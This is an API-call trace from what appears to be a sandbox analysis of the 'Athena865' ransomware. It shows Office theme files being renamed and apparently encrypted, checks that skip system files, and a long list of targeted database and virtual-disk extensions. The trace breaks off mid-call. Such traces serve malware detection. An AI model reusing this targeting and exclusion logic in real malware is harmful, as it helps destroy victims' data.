[0065.160] lstrlenW (lpString=".lnk") returned 4 [0065.160] lstrcmpiW (lpString1="Apex.thmx", lpString2=".lnk") returned 1 [0065.160] lstrlenW (lpString=".ini") returned 4 [0065.160] lstrcmpiW (lpString1="Apex.thmx", lpString2=".ini") returned 1 [0065.160] lstrlenW (lpString=".sys") returned 4 [0065.160] lstrcmpiW (lpString1="Apex.thmx", lpString2=".sys") returned 1 [0065.160] lstrlenW (lpString="Apex.thmx") returned 9 [0065.160] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx.Athena865") returned 72 [0065.160] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx.athena865"), dwFlags=0x1) returned 1 [0065.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.162] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=259111) returned 1 [0065.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0065.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.162] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.163] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.163] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.163] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f730, lpName=0x0) returned 0x17c [0065.164] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f730) returned 0x170000 [0065.178] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.179] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.179] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.179] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0065.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0065.179] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0065.179] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0065.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.179] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0065.179] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0065.180] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0065.180] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.180] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0065.180] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0065.182] CloseHandle (hObject=0x17c) returned 1 [0065.182] CloseHandle (hObject=0x154) returned 1 [0065.182] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0065.182] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0065.182] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0065.183] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15a56, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apothecary.thmx", cAlternateFileName="APOTHE~1.THM")) returned 1 [0065.183] lstrcmpiW (lpString1="Apothecary.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.184] lstrcmpiW (lpString1="Apothecary.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0065.184] lstrcmpiW (lpString1="Apothecary.thmx", lpString2=".") returned 1 [0065.184] lstrcmpiW (lpString1="Apothecary.thmx", lpString2="..") returned 1 [0065.184] lstrcmpiW (lpString1="Apothecary.thmx", lpString2="windows") returned -1 [0065.184] lstrcmpiW (lpString1="Apothecary.thmx", lpString2="bootmgr") returned -1 [0065.184] lstrcmpiW (lpString1="Apothecary.thmx", lpString2="temp") returned -1 [0065.184] lstrcmpiW (lpString1="Apothecary.thmx", lpString2="pagefile.sys") returned -1 [0065.184] lstrcmpiW (lpString1="Apothecary.thmx", lpString2="boot") returned -1 [0065.184] lstrcmpiW (lpString1="Apothecary.thmx", lpString2="ids.txt") returned -1 [0065.184] lstrcmpiW (lpString1="Apothecary.thmx", lpString2="ntuser.dat") returned -1 [0065.184] lstrcmpiW (lpString1="Apothecary.thmx", lpString2="perflogs") returned -1 [0065.184] lstrcmpiW (lpString1="Apothecary.thmx", lpString2="MSBuild") returned -1 [0065.184] lstrlenW (lpString="Apothecary.thmx") returned 15 [0065.184] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Apothecary.thmx" | out: lpString1="Apothecary.thmx") returned="Apothecary.thmx" [0065.184] lstrlenW (lpString="Apothecary.thmx") returned 15 [0065.184] lstrlenW (lpString="Athena865") returned 9 [0065.184] lstrcmpiW (lpString1="cary.thmx", lpString2="Athena865") returned 1 [0065.184] lstrlenW (lpString=".dll") returned 4 [0065.184] lstrcmpiW (lpString1="Apothecary.thmx", lpString2=".dll") returned 1 [0065.184] lstrlenW (lpString=".lnk") returned 4 [0065.184] lstrcmpiW (lpString1="Apothecary.thmx", lpString2=".lnk") returned 1 [0065.184] lstrlenW (lpString=".ini") returned 4 [0065.184] lstrcmpiW (lpString1="Apothecary.thmx", lpString2=".ini") returned 1 [0065.184] lstrlenW (lpString=".sys") returned 4 [0065.184] lstrcmpiW (lpString1="Apothecary.thmx", lpString2=".sys") returned 1 [0065.184] lstrlenW (lpString="Apothecary.thmx") returned 15 [0065.184] lstrlenW (lpString="bak") returned 3 [0065.184] lstrcmpiW (lpString1="hmx", lpString2="bak") returned 1 [0065.184] lstrlenW (lpString="ba_") returned 3 [0065.184] lstrcmpiW (lpString1="hmx", lpString2="ba_") returned 1 [0065.184] lstrlenW (lpString="dbb") returned 3 [0065.184] lstrcmpiW (lpString1="hmx", lpString2="dbb") returned 1 [0065.184] lstrlenW (lpString="vmdk") returned 4 [0065.185] lstrcmpiW (lpString1="thmx", lpString2="vmdk") returned -1 [0065.185] lstrlenW (lpString="rar") returned 3 [0065.185] lstrcmpiW (lpString1="hmx", lpString2="rar") returned -1 [0065.185] lstrlenW (lpString="zip") returned 3 [0065.185] lstrcmpiW (lpString1="hmx", lpString2="zip") returned -1 [0065.185] lstrlenW (lpString="tgz") returned 3 [0065.185] lstrcmpiW (lpString1="hmx", lpString2="tgz") returned -1 [0065.185] lstrlenW (lpString="vbox") returned 4 [0065.185] lstrcmpiW (lpString1="thmx", lpString2="vbox") returned -1 [0065.185] lstrlenW (lpString="vdi") returned 3 [0065.185] lstrcmpiW (lpString1="hmx", lpString2="vdi") returned -1 [0065.185] lstrlenW (lpString="vhd") returned 3 [0065.185] lstrcmpiW (lpString1="hmx", lpString2="vhd") returned -1 [0065.185] lstrlenW (lpString="vhdx") returned 4 [0065.185] lstrcmpiW (lpString1="thmx", lpString2="vhdx") returned -1 [0065.185] lstrlenW (lpString="avhd") returned 4 [0065.185] lstrcmpiW (lpString1="thmx", lpString2="avhd") returned 1 [0065.185] lstrlenW (lpString="db") returned 2 [0065.185] lstrcmpiW (lpString1="mx", lpString2="db") returned 1 [0065.185] lstrlenW (lpString="db2") returned 3 [0065.185] lstrcmpiW (lpString1="hmx", lpString2="db2") returned 1 [0065.185] lstrlenW (lpString="db3") returned 3 [0065.185] lstrcmpiW (lpString1="hmx", lpString2="db3") returned 1 [0065.185] lstrlenW (lpString="dbf") returned 3 [0065.185] lstrcmpiW (lpString1="hmx", lpString2="dbf") returned 1 [0065.185] lstrlenW (lpString="mdf") returned 3 [0065.185] lstrcmpiW (lpString1="hmx", lpString2="mdf") returned -1 [0065.185] lstrlenW (lpString="mdb") returned 3 [0065.185] lstrcmpiW (lpString1="hmx", lpString2="mdb") returned -1 [0065.185] lstrlenW (lpString="sql") returned 3 [0065.185] lstrcmpiW (lpString1="hmx", lpString2="sql") returned -1 [0065.185] lstrlenW (lpString="sqlite") returned 6 [0065.185] lstrcmpiW (lpString1="y.thmx", lpString2="sqlite") returned 1 [0065.185] lstrlenW (lpString="sqlite3") returned 7 [0065.186] lstrcmpiW (lpString1="ry.thmx", lpString2="sqlite3") returned -1 [0065.186] lstrlenW (lpString="sqlitedb") returned 8 [0065.186] lstrcmpiW (lpString1="ary.thmx", lpString2="sqlitedb") returned -1 [0065.186] lstrlenW (lpString="xml") returned 3 [0065.186] lstrcmpiW (lpString1="hmx", lpString2="xml") returned -1 [0065.186] lstrlenW (lpString="$er") returned 3 [0065.186] lstrcmpiW (lpString1="hmx", lpString2="$er") returned 1 [0065.186] lstrlenW (lpString="4dd") returned 3 [0065.186] lstrcmpiW (lpString1="hmx", lpString2="4dd") returned 1 [0065.186] lstrlenW (lpString="4dl") returned 3 [0065.186] lstrcmpiW (lpString1="hmx", lpString2="4dl") returned 1 [0065.186] lstrlenW (lpString="^^^") returned 3 [0065.186] lstrcmpiW (lpString1="hmx", lpString2="^^^") returned 1 [0065.186] lstrlenW (lpString="abs") returned 3 [0065.186] lstrcmpiW (lpString1="hmx", lpString2="abs") returned 1 [0065.186] lstrlenW (lpString="abx") returned 3 [0065.186] lstrcmpiW (lpString1="hmx", lpString2="abx") returned 1 [0065.186] lstrlenW (lpString="accdb") returned 5 [0065.186] lstrcmpiW (lpString1=".thmx", lpString2="accdb") returned -1 [0065.186] lstrlenW (lpString="accdc") returned 5 [0065.186] lstrcmpiW (lpString1=".thmx", lpString2="accdc") returned -1 [0065.186] lstrlenW (lpString="accde") returned 5 [0065.186] lstrcmpiW (lpString1=".thmx", lpString2="accde") returned -1 [0065.186] lstrlenW (lpString="accdr") returned 5 [0065.186] lstrcmpiW (lpString1=".thmx", lpString2="accdr") returned -1 [0065.186] lstrlenW (lpString="accdt") returned 5 [0065.186] lstrcmpiW (lpString1=".thmx", lpString2="accdt") returned -1 [0065.186] lstrlenW (lpString="accdw") returned 5 [0065.186] lstrcmpiW (lpString1=".thmx", lpString2="accdw") returned -1 [0065.186] lstrlenW (lpString="accft") returned 5 [0065.186] lstrcmpiW (lpString1=".thmx", lpString2="accft") returned -1 [0065.186] lstrlenW (lpString="adb") returned 3 [0065.186] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0065.186] lstrlenW (lpString="adb") returned 3 [0065.187] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0065.187] lstrlenW (lpString="ade") returned 3 [0065.187] lstrcmpiW (lpString1="hmx", lpString2="ade") returned 1 [0065.187] lstrlenW (lpString="adf") returned 3 [0065.187] lstrcmpiW (lpString1="hmx", lpString2="adf") returned 1 [0065.187] lstrlenW (lpString="adn") returned 3 [0065.187] lstrcmpiW (lpString1="hmx", lpString2="adn") returned 1 [0065.187] lstrlenW (lpString="adp") returned 3 [0065.187] lstrcmpiW (lpString1="hmx", lpString2="adp") returned 1 [0065.187] lstrlenW (lpString="alf") returned 3 [0065.187] lstrcmpiW (lpString1="hmx", lpString2="alf") returned 1 [0065.187] lstrlenW (lpString="ask") returned 3 [0065.187] lstrcmpiW (lpString1="hmx", lpString2="ask") returned 1 [0065.187] lstrlenW (lpString="btr") returned 3 [0065.187] lstrcmpiW (lpString1="hmx", lpString2="btr") returned 1 [0065.187] lstrlenW (lpString="cat") returned 3 [0065.187] lstrcmpiW (lpString1="hmx", lpString2="cat") returned 1 [0065.187] lstrlenW (lpString="cdb") returned 3 [0065.187] lstrcmpiW (lpString1="hmx", lpString2="cdb") returned 1 [0065.187] lstrlenW (lpString="ckp") returned 3 [0065.187] lstrcmpiW (lpString1="hmx", lpString2="ckp") returned 1 [0065.187] lstrlenW (lpString="cma") returned 3 [0065.187] lstrcmpiW (lpString1="hmx", lpString2="cma") returned 1 [0065.187] lstrlenW (lpString="cpd") returned 3 [0065.187] lstrcmpiW (lpString1="hmx", lpString2="cpd") returned 1 [0065.187] lstrlenW (lpString="dacpac") returned 6 [0065.187] lstrcmpiW (lpString1="y.thmx", lpString2="dacpac") returned 1 [0065.187] lstrlenW (lpString="dad") returned 3 [0065.187] lstrcmpiW (lpString1="hmx", lpString2="dad") returned 1 [0065.187] lstrlenW (lpString="dadiagrams") returned 10 [0065.187] lstrcmpiW (lpString1="ecary.thmx", lpString2="dadiagrams") returned 1 [0065.187] lstrlenW (lpString="daschema") returned 8 [0065.187] lstrcmpiW (lpString1="ary.thmx", lpString2="daschema") returned -1 [0065.188] lstrlenW (lpString="db-journal") returned 10 [0065.188] lstrcmpiW (lpString1="ecary.thmx", lpString2="db-journal") returned 1 [0065.188] lstrlenW (lpString="db-shm") returned 6 [0065.188] lstrcmpiW (lpString1="y.thmx", lpString2="db-shm") returned 1 [0065.188] lstrlenW (lpString="db-wal") returned 6 [0065.188] lstrcmpiW (lpString1="y.thmx", lpString2="db-wal") returned 1 [0065.188] lstrlenW (lpString="dbc") returned 3 [0065.188] lstrcmpiW (lpString1="hmx", lpString2="dbc") returned 1 [0065.188] lstrlenW (lpString="dbs") returned 3 [0065.188] lstrcmpiW (lpString1="hmx", lpString2="dbs") returned 1 [0065.188] lstrlenW (lpString="dbt") returned 3 [0065.188] lstrcmpiW (lpString1="hmx", lpString2="dbt") returned 1 [0065.188] lstrlenW (lpString="dbv") returned 3 [0065.188] lstrcmpiW (lpString1="hmx", lpString2="dbv") returned 1 [0065.188] lstrlenW (lpString="dbx") returned 3 [0065.188] lstrcmpiW (lpString1="hmx", lpString2="dbx") returned 1 [0065.188] lstrlenW (lpString="dcb") returned 3 [0065.188] lstrcmpiW (lpString1="hmx", lpString2="dcb") returned 1 [0065.188] lstrlenW (lpString="dct") returned 3 [0065.188] lstrcmpiW (lpString1="hmx", lpString2="dct") returned 1 [0065.188] lstrlenW (lpString="dcx") returned 3 [0065.188] lstrcmpiW (lpString1="hmx", lpString2="dcx") returned 1 [0065.188] lstrlenW (lpString="ddl") returned 3 [0065.188] lstrcmpiW (lpString1="hmx", lpString2="ddl") returned 1 [0065.188] lstrlenW (lpString="dlis") returned 4 [0065.188] lstrcmpiW (lpString1="thmx", lpString2="dlis") returned 1 [0065.188] lstrlenW (lpString="dp1") returned 3 [0065.188] lstrcmpiW (lpString1="hmx", lpString2="dp1") returned 1 [0065.188] lstrlenW (lpString="dqy") returned 3 [0065.188] lstrcmpiW (lpString1="hmx", lpString2="dqy") returned 1 [0065.188] lstrlenW (lpString="dsk") returned 3 [0065.188] lstrcmpiW (lpString1="hmx", lpString2="dsk") returned 1 [0065.188] lstrlenW (lpString="dsn") returned 3 [0065.189] lstrcmpiW (lpString1="hmx", lpString2="dsn") returned 1 [0065.189] lstrlenW (lpString="dtsx") returned 4 [0065.189] lstrcmpiW (lpString1="thmx", lpString2="dtsx") returned 1 [0065.189] lstrlenW (lpString="dxl") returned 3 [0065.189] lstrcmpiW (lpString1="hmx", lpString2="dxl") returned 1 [0065.189] lstrlenW (lpString="eco") returned 3 [0065.189] lstrcmpiW (lpString1="hmx", lpString2="eco") returned 1 [0065.189] lstrlenW (lpString="ecx") returned 3 [0065.189] lstrcmpiW (lpString1="hmx", lpString2="ecx") returned 1 [0065.189] lstrlenW (lpString="edb") returned 3 [0065.189] lstrcmpiW (lpString1="hmx", lpString2="edb") returned 1 [0065.189] lstrlenW (lpString="epim") returned 4 [0065.189] lstrcmpiW (lpString1="thmx", lpString2="epim") returned 1 [0065.189] lstrlenW (lpString="fcd") returned 3 [0065.189] lstrcmpiW (lpString1="hmx", lpString2="fcd") returned 1 [0065.189] lstrlenW (lpString="fdb") returned 3 [0065.189] lstrcmpiW (lpString1="hmx", lpString2="fdb") returned 1 [0065.189] lstrlenW (lpString="fic") returned 3 [0065.189] lstrcmpiW (lpString1="hmx", lpString2="fic") returned 1 [0065.189] lstrlenW (lpString="flexolibrary") returned 12 [0065.189] lstrcmpiW (lpString1="thecary.thmx", lpString2="flexolibrary") returned 1 [0065.189] lstrlenW (lpString="fm5") returned 3 [0065.189] lstrcmpiW (lpString1="hmx", lpString2="fm5") returned 1 [0065.189] lstrlenW (lpString="fmp") returned 3 [0065.189] lstrcmpiW (lpString1="hmx", lpString2="fmp") returned 1 [0065.189] lstrlenW (lpString="fmp12") returned 5 [0065.189] lstrcmpiW (lpString1=".thmx", lpString2="fmp12") returned -1 [0065.189] lstrlenW (lpString="fmpsl") returned 5 [0065.189] lstrcmpiW (lpString1=".thmx", lpString2="fmpsl") returned -1 [0065.189] lstrlenW (lpString="fol") returned 3 [0065.189] lstrcmpiW (lpString1="hmx", lpString2="fol") returned 1 [0065.189] lstrlenW (lpString="fp3") returned 3 [0065.189] lstrcmpiW (lpString1="hmx", lpString2="fp3") returned 1 [0065.189] lstrlenW (lpString="fp4") returned 3 [0065.189] lstrcmpiW (lpString1="hmx", lpString2="fp4") returned 1 [0065.190] lstrlenW (lpString="fp5") returned 3 [0065.190] lstrcmpiW (lpString1="hmx", lpString2="fp5") returned 1 [0065.190] lstrlenW (lpString="fp7") returned 3 [0065.190] lstrcmpiW (lpString1="hmx", lpString2="fp7") returned 1 [0065.190] lstrlenW (lpString="fpt") returned 3 [0065.190] lstrcmpiW (lpString1="hmx", lpString2="fpt") returned 1 [0065.190] lstrlenW (lpString="frm") returned 3 [0065.190] lstrcmpiW (lpString1="hmx", lpString2="frm") returned 1 [0065.190] lstrlenW (lpString="gdb") returned 3 [0065.190] lstrcmpiW (lpString1="hmx", lpString2="gdb") returned 1 [0065.190] lstrlenW (lpString="gdb") returned 3 [0065.190] lstrcmpiW (lpString1="hmx", lpString2="gdb") returned 1 [0065.190] lstrlenW (lpString="grdb") returned 4 [0065.190] lstrcmpiW (lpString1="thmx", lpString2="grdb") returned 1 [0065.190] lstrlenW (lpString="gwi") returned 3 [0065.190] lstrcmpiW (lpString1="hmx", lpString2="gwi") returned 1 [0065.190] lstrlenW (lpString="hdb") returned 3 [0065.190] lstrcmpiW (lpString1="hmx", lpString2="hdb") returned 1 [0065.190] lstrlenW (lpString="his") returned 3 [0065.190] lstrcmpiW (lpString1="hmx", lpString2="his") returned 1 [0065.190] lstrlenW (lpString="ib") returned 2 [0065.190] lstrcmpiW (lpString1="mx", lpString2="ib") returned 1 [0065.190] lstrlenW (lpString="idb") returned 3 [0065.190] lstrcmpiW (lpString1="hmx", lpString2="idb") returned -1 [0065.190] lstrlenW (lpString="ihx") returned 3 [0065.190] lstrcmpiW (lpString1="hmx", lpString2="ihx") returned -1 [0065.190] lstrlenW (lpString="itdb") returned 4 [0065.190] lstrcmpiW (lpString1="thmx", lpString2="itdb") returned 1 [0065.190] lstrlenW (lpString="itw") returned 3 [0065.190] lstrcmpiW (lpString1="hmx", lpString2="itw") returned -1 [0065.190] lstrlenW (lpString="jet") returned 3 [0065.190] lstrcmpiW (lpString1="hmx", lpString2="jet") returned -1 [0065.190] lstrlenW (lpString="jtx") returned 3 [0065.191] lstrcmpiW (lpString1="hmx", lpString2="jtx") returned -1 [0065.191] lstrlenW (lpString="kdb") returned 3 [0065.191] lstrcmpiW (lpString1="hmx", lpString2="kdb") returned -1 [0065.191] lstrlenW (lpString="kexi") returned 4 [0065.191] lstrcmpiW (lpString1="thmx", lpString2="kexi") returned 1 [0065.191] lstrlenW (lpString="kexic") returned 5 [0065.191] lstrcmpiW (lpString1=".thmx", lpString2="kexic") returned -1 [0065.191] lstrlenW (lpString="kexis") returned 5 [0065.191] lstrcmpiW (lpString1=".thmx", lpString2="kexis") returned -1 [0065.191] lstrlenW (lpString="lgc") returned 3 [0065.191] lstrcmpiW (lpString1="hmx", lpString2="lgc") returned -1 [0065.191] lstrlenW (lpString="lwx") returned 3 [0065.191] lstrcmpiW (lpString1="hmx", lpString2="lwx") returned -1 [0065.191] lstrlenW (lpString="maf") returned 3 [0065.191] lstrcmpiW (lpString1="hmx", lpString2="maf") returned -1 [0065.191] lstrlenW (lpString="maq") returned 3 [0065.191] lstrcmpiW (lpString1="hmx", lpString2="maq") returned -1 [0065.191] lstrlenW (lpString="mar") returned 3 [0065.191] lstrcmpiW (lpString1="hmx", lpString2="mar") returned -1 [0065.191] lstrlenW (lpString="marshal") returned 7 [0065.191] lstrcmpiW (lpString1="ry.thmx", lpString2="marshal") returned 1 [0065.191] lstrlenW (lpString="mas") returned 3 [0065.191] lstrcmpiW (lpString1="hmx", lpString2="mas") returned -1 [0065.191] lstrlenW (lpString="mav") returned 3 [0065.191] lstrcmpiW (lpString1="hmx", lpString2="mav") returned -1 [0065.191] lstrlenW (lpString="maw") returned 3 [0065.191] lstrcmpiW (lpString1="hmx", lpString2="maw") returned -1 [0065.191] lstrlenW (lpString="mdbhtml") returned 7 [0065.191] lstrcmpiW (lpString1="ry.thmx", lpString2="mdbhtml") returned 1 [0065.191] lstrlenW (lpString="mdn") returned 3 [0065.191] lstrcmpiW (lpString1="hmx", lpString2="mdn") returned -1 [0065.191] lstrlenW (lpString="mdt") returned 3 [0065.191] lstrcmpiW (lpString1="hmx", lpString2="mdt") returned -1 [0065.192] lstrlenW (lpString="mfd") returned 3 [0065.192] lstrcmpiW (lpString1="hmx", lpString2="mfd") returned -1 [0065.192] lstrlenW (lpString="mpd") returned 3 [0065.192] lstrcmpiW (lpString1="hmx", lpString2="mpd") returned -1 [0065.192] lstrlenW (lpString="mrg") returned 3 [0065.192] lstrcmpiW (lpString1="hmx", lpString2="mrg") returned -1 [0065.192] lstrlenW (lpString="mud") returned 3 [0065.192] lstrcmpiW (lpString1="hmx", lpString2="mud") returned -1 [0065.192] lstrlenW (lpString="mwb") returned 3 [0065.192] lstrcmpiW (lpString1="hmx", lpString2="mwb") returned -1 [0065.192] lstrlenW (lpString="myd") returned 3 [0065.192] lstrcmpiW (lpString1="hmx", lpString2="myd") returned -1 [0065.192] lstrlenW (lpString="ndf") returned 3 [0065.192] lstrcmpiW (lpString1="hmx", lpString2="ndf") returned -1 [0065.192] lstrlenW (lpString="nnt") returned 3 [0065.192] lstrcmpiW (lpString1="hmx", lpString2="nnt") returned -1 [0065.192] lstrlenW (lpString="nrmlib") returned 6 [0065.192] lstrcmpiW (lpString1="y.thmx", lpString2="nrmlib") returned 1 [0065.192] lstrlenW (lpString="ns2") returned 3 [0065.192] lstrcmpiW (lpString1="hmx", lpString2="ns2") returned -1 [0065.192] lstrlenW (lpString="ns3") returned 3 [0065.192] lstrcmpiW (lpString1="hmx", lpString2="ns3") returned -1 [0065.192] lstrlenW (lpString="ns4") returned 3 [0065.192] lstrcmpiW (lpString1="hmx", lpString2="ns4") returned -1 [0065.192] lstrlenW (lpString="nsf") returned 3 [0065.192] lstrcmpiW (lpString1="hmx", lpString2="nsf") returned -1 [0065.192] lstrlenW (lpString="nv") returned 2 [0065.192] lstrcmpiW (lpString1="mx", lpString2="nv") returned -1 [0065.192] lstrlenW (lpString="nv2") returned 3 [0065.192] lstrcmpiW (lpString1="hmx", lpString2="nv2") returned -1 [0065.192] lstrlenW (lpString="nwdb") returned 4 [0065.192] lstrcmpiW (lpString1="thmx", lpString2="nwdb") returned 1 [0065.193] lstrlenW (lpString="nyf") returned 3 [0065.193] lstrcmpiW (lpString1="hmx", lpString2="nyf") returned -1 [0065.193] lstrlenW (lpString="odb") returned 3 [0065.193] lstrcmpiW (lpString1="hmx", lpString2="odb") returned -1 [0065.193] lstrlenW (lpString="odb") returned 3 [0065.193] lstrcmpiW (lpString1="hmx", lpString2="odb") returned -1 [0065.193] lstrlenW (lpString="oqy") returned 3 [0065.193] lstrcmpiW (lpString1="hmx", lpString2="oqy") returned -1 [0065.193] lstrlenW (lpString="ora") returned 3 [0065.193] lstrcmpiW (lpString1="hmx", lpString2="ora") returned -1 [0065.193] lstrlenW (lpString="orx") returned 3 [0065.193] lstrcmpiW (lpString1="hmx", lpString2="orx") returned -1 [0065.193] lstrlenW (lpString="owc") returned 3 [0065.193] lstrcmpiW (lpString1="hmx", lpString2="owc") returned -1 [0065.193] lstrlenW (lpString="p96") returned 3 [0065.193] lstrcmpiW (lpString1="hmx", lpString2="p96") returned -1 [0065.193] lstrlenW (lpString="p97") returned 3 [0065.193] lstrcmpiW (lpString1="hmx", lpString2="p97") returned -1 [0065.193] lstrlenW (lpString="pan") returned 3 [0065.193] lstrcmpiW (lpString1="hmx", lpString2="pan") returned -1 [0065.193] lstrlenW (lpString="pdb") returned 3 [0065.193] lstrcmpiW (lpString1="hmx", lpString2="pdb") returned -1 [0065.193] lstrlenW (lpString="pdm") returned 3 [0065.193] lstrcmpiW (lpString1="hmx", lpString2="pdm") returned -1 [0065.193] lstrlenW (lpString="pnz") returned 3 [0065.193] lstrcmpiW (lpString1="hmx", lpString2="pnz") returned -1 [0065.193] lstrlenW (lpString="qry") returned 3 [0065.193] lstrcmpiW (lpString1="hmx", lpString2="qry") returned -1 [0065.193] lstrlenW (lpString="qvd") returned 3 [0065.193] lstrcmpiW (lpString1="hmx", lpString2="qvd") returned -1 [0065.193] lstrlenW (lpString="rbf") returned 3 [0065.193] lstrcmpiW (lpString1="hmx", lpString2="rbf") returned -1 [0065.193] lstrlenW (lpString="rctd") returned 4 [0065.194] lstrcmpiW (lpString1="thmx", lpString2="rctd") returned 1 [0065.194] lstrlenW (lpString="rod") returned 3 [0065.194] lstrcmpiW (lpString1="hmx", lpString2="rod") returned -1 [0065.194] lstrlenW (lpString="rodx") returned 4 [0065.194] lstrcmpiW (lpString1="thmx", lpString2="rodx") returned 1 [0065.194] lstrlenW (lpString="rpd") returned 3 [0065.194] lstrcmpiW (lpString1="hmx", lpString2="rpd") returned -1 [0065.194] lstrlenW (lpString="rsd") returned 3 [0065.194] lstrcmpiW (lpString1="hmx", lpString2="rsd") returned -1 [0065.194] lstrlenW (lpString="sas7bdat") returned 8 [0065.194] lstrcmpiW (lpString1="ary.thmx", lpString2="sas7bdat") returned -1 [0065.194] lstrlenW (lpString="sbf") returned 3 [0065.194] lstrcmpiW (lpString1="hmx", lpString2="sbf") returned -1 [0065.194] lstrlenW (lpString="scx") returned 3 [0065.194] lstrcmpiW (lpString1="hmx", lpString2="scx") returned -1 [0065.194] lstrlenW (lpString="sdb") returned 3 [0065.194] lstrcmpiW (lpString1="hmx", lpString2="sdb") returned -1 [0065.194] lstrlenW (lpString="sdc") returned 3 [0065.194] lstrcmpiW (lpString1="hmx", lpString2="sdc") returned -1 [0065.194] lstrlenW (lpString="sdf") returned 3 [0065.194] lstrcmpiW (lpString1="hmx", lpString2="sdf") returned -1 [0065.194] lstrlenW (lpString="sis") returned 3 [0065.194] lstrcmpiW (lpString1="hmx", lpString2="sis") returned -1 [0065.194] lstrlenW (lpString="spq") returned 3 [0065.194] lstrcmpiW (lpString1="hmx", lpString2="spq") returned -1 [0065.194] lstrlenW (lpString="te") returned 2 [0065.194] lstrcmpiW (lpString1="mx", lpString2="te") returned -1 [0065.194] lstrlenW (lpString="teacher") returned 7 [0065.194] lstrcmpiW (lpString1="ry.thmx", lpString2="teacher") returned -1 [0065.194] lstrlenW (lpString="tmd") returned 3 [0065.194] lstrcmpiW (lpString1="hmx", lpString2="tmd") returned -1 [0065.194] lstrlenW (lpString="tps") returned 3 [0065.195] lstrcmpiW (lpString1="hmx", lpString2="tps") returned -1 [0065.195] lstrlenW (lpString="trc") returned 3 [0065.195] lstrcmpiW (lpString1="hmx", lpString2="trc") returned -1 [0065.195] lstrlenW (lpString="trc") returned 3 [0065.195] lstrcmpiW (lpString1="hmx", lpString2="trc") returned -1 [0065.195] lstrlenW (lpString="trm") returned 3 [0065.195] lstrcmpiW (lpString1="hmx", lpString2="trm") returned -1 [0065.195] lstrlenW 